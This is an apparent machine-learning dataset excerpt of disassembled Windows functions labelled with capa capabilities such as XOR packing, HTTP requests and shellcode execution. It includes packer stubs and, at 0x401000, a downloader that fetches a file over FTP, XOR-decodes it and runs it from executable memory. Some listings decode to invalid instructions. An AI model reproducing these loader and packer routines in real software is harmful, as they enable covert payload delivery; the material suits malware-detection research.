joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100cf213
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1010ade8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.100c83c9
mov dword [ebp - 0x14], eax
cmp dword [0x1010fd34], edi
jne 0x100cf304
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x100cf291
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100cf3e4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x100cf3e4
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100cf3e4
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1010fd34], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x1010fd38], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x1010fd3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1010fd44], eax
test eax, eax
je 0x100cf301
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1010fd40], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x100cf329
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100cf31c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x100cf33e
push 4
pop eax
jmp 0x100cf3e6
cmp dword [ebp - 0x14], edi
je 0x100cf33e
push dword [0x1010fd34]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x100cf323
mov eax, dword [0x1010fd40]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x100cf39c
cmp dword [0x1010fd44], esi
je 0x100cf39c
push eax
call ebx
push dword [0x1010fd44]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x100cf39c
test eax, eax
je 0x100cf39c
call ecx
test eax, eax
je 0x100cf391
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x100cf391
test byte [ebp - 8], 1
jne 0x100cf39c
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x100cf3cc
mov eax, dword [0x1010fd38]
cmp eax, esi
je 0x100cf3c9
push eax
call ebx
test eax, eax
je 0x100cf3c9
call eax
mov edi, eax
test edi, edi
je 0x100cf3c9
mov eax, dword [0x1010fd3c]
cmp eax, esi
je 0x100cf3c9
push eax
call ebx
test eax, eax
je 0x100cf3c9
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1010fd34]
call ebx
test eax, eax
je 0x100cf3e4
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x100cf3e6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bee6b
leave
ret
Function at 0x100d34ae
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100c45e0
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x100d34e6
xor eax, eax
jmp 0x100d3512
cmp esi, dword [ebp - 4]
je 0x100d350f
cmp dword [ebp + 0xc], 0
je 0x100d350f
push dword [edi + 0x9c]
call fcn.100d30bc
push dword [edi + 0x9c]
mov esi, eax
call fcn.100cf1ba
pop ecx
pop ecx
cmp esi, eax
je 0x100d34e2
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x41be75a1
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x41711dfc
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x42777a
Capabilities:
Decompress data using lzo

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
add eax, esi
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x14]
xor ebx, ebx
mov dword [eax], ebx
mov dl, byte [esi]
mov eax, dword [ebp + 0x10]
push edi
mov ecx, esi
cmp dl, 0x11
jbe 0x4277bb
movzx edi, dl
sub edi, 0x11
lea ecx, [esi + 1]
cmp edi, 4
jb 0x42785a
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
dec edi
jne 0x4277b0
jmp 0x42781a
movzx esi, byte [ecx]
inc ecx
cmp esi, 0x10
jae 0x42787a
test esi, esi
jne 0x4277e2
jmp 0x4277d5
add esi, 0xff
inc ecx
cmp byte [ecx], 0
je 0x4277ce
movzx edx, byte [ecx]
lea esi, [esi + edx + 0xf]
inc ecx
mov edx, dword [ecx]
mov dword [eax], edx
push 4
pop edx
add eax, edx
add ecx, edx
dec esi
je 0x42781a
cmp esi, edx
jb 0x427811
mov edi, dword [ecx]
mov dword [eax], edi
sub esi, edx
add eax, edx
add ecx, edx
cmp esi, edx
jae 0x4277f4
test esi, esi
je 0x42781a
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
dec esi
jne 0x427806
jmp 0x42781a
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
dec esi
jne 0x427811
movzx esi, byte [ecx]
inc ecx
cmp esi, 0x10
jae 0x42787a
movzx edx, byte [ecx]
shr edx, 2
shl esi, 6
lea esi, [edx + esi + 0x701]
mov edi, eax
sub edi, esi
mov dl, byte [edi]
mov byte [eax], dl
mov dl, byte [edi + 1]
mov byte [eax + 1], dl
mov dl, byte [edi + 2]
inc ecx
mov byte [eax + 2], dl
add eax, 3
mov ebx, esi
movzx edi, byte [ecx - 1]
and edi, 3
je 0x4277bb
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
cmp edi, 1
jbe 0x427876
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
cmp edi, 2
jbe 0x427876
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
movzx esi, byte [ecx]
inc ecx
cmp esi, 0x40
jb 0x4278c2
mov edx, esi
and edx, 0x1f
cmp edx, 0x1c
jb 0x42788f
mov edi, eax
sub edi, ebx
jmp 0x4278a3
movzx edi, byte [ecx]
shr edi, 2
shl edx, 6
lea edx, [edi + edx + 1]
mov edi, eax
inc ecx
sub edi, edx
mov ebx, edx
shr esi, 5
dec esi
mov dl, byte [edi]
mov byte [eax], dl
mov dl, byte [edi + 1]
mov byte [eax + 1], dl
add eax, 2
add edi, 2
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc edi
dec esi
jne 0x4278b7
jmp 0x42784d
cmp esi, 0x20
jb 0x4278fe
and esi, 0x1f
jne 0x4278e2
jmp 0x4278d5
add esi, 0xff
inc ecx
cmp byte [ecx], 0
je 0x4278ce
movzx edx, byte [ecx]
lea esi, [esi + edx + 0x1f]
inc ecx
movzx edx, byte [ecx + 1]
movzx edi, byte [ecx]
shl edi, 6
shr edx, 2
lea edx, [edx + edi + 1]
mov edi, eax
sub edi, edx
mov ebx, edx
add ecx, 2
jmp 0x427950
jmp 0x428856
cmp esi, 6
jb 0x4278a7
mov edx, eax
sub edx, edi
cmp edx, 4
jl 0x4278a7
mov edx, dword [edi]
mov dword [eax], edx
add eax, 4
add edi, 4
sub esi, 2
mov edx, dword [edi]
mov dword [eax], edx
push 4
pop edx
sub esi, edx
add eax, edx
add edi, edx
cmp esi, edx
jae 0x427973
test esi, esi
je 0x42784d
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc edi
dec esi
jne 0x42798c
jmp 0x42784d
Function at 0x47c476
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
cmp dword [edi + 0x74], 4
mov eax, dword [esi + 0x54]
mov dword [ebp - 4], eax
jne 0x47c498
or eax, str.__aI__t
mov dword [ebp - 4], eax
movzx eax, word [edi + 0x78]
xor ebx, ebx
push ebx
push ebx
push dword [edi + 0x70]
push dword [edi + 0x30]
push dword [edi + 0x20]
push eax
push dword [edi + 0x10]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi], eax
test eax, eax
jne 0x47c4e4
mov dword [esi + 0x18], 0xb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0xd4]
test eax, eax
je 0x47c4dd
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor al, al
jmp 0x47c603
push ebx
push dword [ebp - 4]
push ebx
push ebx
push ebx
push dword [edi + 0x60]
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
jne 0x47c508
mov dword [esi + 0x18], 0xc
jmp 0x47c5dc
cmp byte [ebp + 0xc], bl
je 0x47c518
push dword [ebp + 8]
mov ecx, esi
push edi
call fcn.0047d001
test dword [ebp - 4], 0x1000
je 0x47c54f
lea eax, [ebp + 8]
mov dword [ebp + 8], 4
push eax
lea eax, [ebp + 0xc]
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp + 0xc], 0x100
lea eax, [ebp + 0xc]
push 4
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x47c5d5
push edi
call fcn.0047c437
cmp eax, 0xc8
jne 0x47c5d5
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x20
push eax
lea eax, [ebp - 0x24]
push eax
push 5
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x24]
push eax
call fcn.004262fb
pop ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
cmp byte [ebp + 0x10], bl
je 0x47c5bd
mov ecx, esi
push edi
cmp byte [esi + 0x30], bl
je 0x47c5b4
call fcn.0047cf1a
jmp 0x47c5b9
call fcn.0047ce44
mov bl, al
jmp 0x47c5f6
mov dword [esi + 0x18], ebx
mov eax, dword [esi + 0xd4]
test eax, eax
je 0x47c5d1
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov bl, 1
jmp 0x47c5f6
mov dword [esi + 0x18], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0xd4]
test eax, eax
je 0x47c5f6
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
test edi, edi
je 0x47c601
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Encode data using xor
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.WinInet_Ftp
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x8000000
push 1
push 0x409a84
push 0x409a84
push ebx
push 0x409a88
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push ebx
push 0x80000002
push 0x80000000
push str.Server.txt
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov esi, eax
push esi
call fcn.00401485
push esi
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x10], edi
call fcn.004062f0
push 0x1000
call fcn.00401485
push 0x1000
push ebx
push eax
mov dword [ebp - 8], eax
call fcn.004062f0
add esp, 0x20
nop
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push 0x1000
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4010c6
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push eax
push ecx
lea edx, [ebx + edi]
push edx
call fcn.00405350
add ebx, dword [ebp - 4]
add esp, 0xc
cmp esi, ebx
ja 0x401090
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov dword [ebp - 0xc], eax
test esi, esi
jle 0x4010f3
nop
mov edx, ecx
and edx, 0xf
mov dl, byte [edx + str.0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
xor byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jl 0x4010e0
push esi
push edi
push eax
call fcn.00405350
add esp, 0xc
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
mov eax, dword [ebp - 0x10]
push eax
call fcn.004014ea
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40140c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b040]
jne 0x401416
repz ret
jmp fcn.004016a6
Function at 0x40489c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402aab
and dword [ebp - 4], 0
cmp dword [0x40c690], 0
mov ebx, eax
jne 0x40494d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4049fe
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4049fe
push eax
call fcn.00402a39
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40c690], eax
call esi
push eax
call fcn.00402a39
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40c694], eax
call esi
push eax
call fcn.00402a39
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40c698], eax
call esi
push eax
call fcn.00402a39
pop ecx
mov dword [0x40c6a0], eax
test eax, eax
je 0x40494d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402a39
pop ecx
mov dword [0x40c69c], eax
mov eax, dword [0x40c69c]
cmp eax, ebx
je 0x4049a5
cmp dword [0x40c6a0], ebx
je 0x4049a5
push eax
call fcn.00402ab4
push dword [0x40c6a0]
mov esi, eax
call fcn.00402ab4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4049a5
test edi, edi
je 0x4049a5
call esi
test eax, eax
je 0x40499c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40499c
test byte [ebp - 0xc], 1
jne 0x4049a5
or dword [ebp + 0x10], 0x200000
jmp 0x4049de
mov eax, dword [0x40c694]
cmp eax, ebx
je 0x4049de
push eax
call fcn.00402ab4
pop ecx
test eax, eax
je 0x4049de
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4049de
mov eax, dword [0x40c698]
cmp eax, ebx
je 0x4049de
push eax
call fcn.00402ab4
pop ecx
test eax, eax
je 0x4049de
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40c690]
call fcn.00402ab4
pop ecx
test eax, eax
je 0x4049fe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404a00
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42b224
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x438e80]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0042b1b9
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004162c0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x42b273
cmp dword [ebp - 0x1c], 5
jb 0x42b28b
jmp 0x42b287
cmp dword [ebp - 0x10], 1
jne 0x42b28b
cmp dword [ebp - 0x1c], 4
ja 0x42b287
jne 0x42b28b
cmp dword [ebp - 0x18], 0
jbe 0x42b28b
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4327a4
call fcn.0042b08d
test eax, eax
jge 0x42b2ac
mov byte [0x43a368], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00416063
add ebp, 0x78
leave
ret

Function at 0x406840
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x710002fd
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edx, 0xf8830443
push dword [esi]
test byte [ecx + eax + 0x4b8b0000], dl
adc cl, ah
leave
je 0x4069b9
mov edx, dword [esi]
mov dh, 0x8b
dec esi
adc al, 0x2d
mov cl, 0xc
push ecx
jne 0x4068c2
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
sbb byte [ebp - 0x3dfbfe13], al
mov esi, dword [0x407cd8]
call esi
test dword [esi + 0xf9840f], edi
add byte [ebp - 1], al
salc
add eax, 0xafc80
cmp eax, 0xb23b3
jne 0x4069f4
mov edi, dword [ebx + 0x20]
mov esp, edx
and al, 0x8b
invalid
inc ebx
add al, 0xb9
adc eax, dword [eax]
cmp eax, dword [eax]
fdecstp
sar byte [ebp - 0xc], cl
add byte [ebx], bh
add cl, bl
not dl
jge 0x4068be
test dword [eax - 0xf729a01], esp
imul edi, edi, 0xffffffff
sub al, 0x85
clc
invalid
mov esp, ebp
pop ebp
ret 8
inc ebx
adc byte [ecx - 0x2499ebdf], cl
js 0x4069ec
add byte [ebp + 7], dh
mov dword [ebx + 0x2c], 1
invalid

Function at 0x4070d0
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0x29c11c
mov edx, eax
mov edi, esi
add dword [ebx - 0x7c3fcc01], 0x1e
or dl, al
scasb al, byte es:[edi]
enter 0xffffffffffffaed1, 0x3b
pop ss
jne 0x99702a
push esi
call dword [0x40c163]
test eax, 0x458df845
clc
lea ecx, [ebp - 0x14]
invalid
cld
leave
xchg byte [ebx], bl
std
push edx
call 0x667a4a60
mov edi, eax
xor ecx, dword [ebp + 0x14b9f78b]
add byte [eax], al
add bl, dh
stosd dword es:[edi], eax
mov eax, dword [ebp - 0xb]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
cld
mov dword [esi], eax
mov ebp, edi
js 0x406fd3
add al, 0x17
mov eax, dword [ecx + 0x14]
mov word [edx + 2], gs
mov ecx, dword [eax]
push esi
inc ebx
dec esi
sub al, 0xe8
jne 0x407084
invalid
test eax, eax
je 0x407020
aaa
add byte [ebx - 0x2217af3e], 0xe7
invalid
cmp eax, ebx
mov dword [ebp + 0x38], eax
test dword ds:[esi + 0x35], ebx
ret
xor ecx, dword [ebx + 0x54ec81ec]
add al, byte [eax]
jg 0x407065
dec ebp
mov cl, 0x53
push esi
xor esi, esi
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
mov ebx, eax
hlt
Function at 0x401030
Capabilities:
Delete file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ecx, dword [0x808058]
mov edx, dword [0x80805c]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
xor esi, esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
call fcn.00401020
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x808060]
mov ecx, dword [str.Q_nu_]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0x20
jmp 0x401092
xor esi, esi
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0xc27074]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x4010ec
push esi
lea edx, [ebp - 0x38]
push edx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
xor eax, eax
xor ecx, ecx
lea edx, [ebp - 0x3c]
push edx
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], cx
mov eax, dword [ebp - 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [ebp - 4]
mov ecx, dword [0xc27074]
add eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401106
mov dword [0xc27070], 0xedeb2e40
jmp 0x401122
cmp ecx, 0x3eb
jne 0x401122
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [0xc26a24], esi
lea ecx, [ebx + edi]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0xc]
mov edx, edi
shr edx, cl
mov dword [0xc2706c], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov edx, dword [ebp - 8]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
shr esi, cl
add esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
cmp dword [0xc27074], 0xb03
jne 0x4011a0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x20], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x401090
cmp dword [0xc27074], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x4011e9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4